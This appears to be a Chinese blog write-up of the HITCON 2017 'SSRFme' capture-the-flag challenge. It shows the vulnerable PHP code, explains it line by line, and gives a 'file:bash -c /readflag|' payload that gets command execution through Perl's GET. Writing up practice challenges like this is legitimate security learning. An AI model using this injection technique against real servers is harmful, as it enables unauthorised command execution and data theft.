[HITCON 2017]SSRFme

打开

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//$_SERVER是预定义服务器变量的一种,所有$_SERVER开头的都是预定义服务变量。
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//计算orange的MD5
    @mkdir($sandbox);//mkdir()函数创建目录。@压制错误提示。
    @chdir($sandbox);//chdir() 函数改变当前的目录。

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//shell_exec()通过shell,将完整的输出以字符串的方式返回。escapeshellarg把字符串转码为可以在 shell 命令里使用的参数
    $info = pathinfo($_GET["filename"]);//pathinfo()函数以数组的形式返回关于文件路径的信息
    $dir  = str_replace(".", "", basename($info["dirname"]));//str_replace() 函数替换字符串中的一些字符。basename() 函数返回路径中的文件名部分。
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);//file_put_contents() 函数把一个字符串写入文件中。
    highlight_file(__FILE__);

1、输出当前页面用户的ip

2、ip和orange一起进行md5加密,构建md5处理过的目录,切换到当前目录

3、通过url参数输入的内容会以GET命令执行,拼接shell命令,内容可控

4、将命令执行的结果写入到以filename参数的值命名的可控文件中

尝试读取根目录,并创建文件名为abc的文件

/?url=/&filename=abc

 

/sandbox/6dcb273e31b7c6e1cb3f2bb2b6b9236f/mochu.html

 

 

 

看出应该要用readflag读取flag,构造payload?url=file:bash -c /readflag|&filename=123

得到flag

posted @ 2021-08-11 23:59  凇岳  阅读(237)  评论(0)    收藏  举报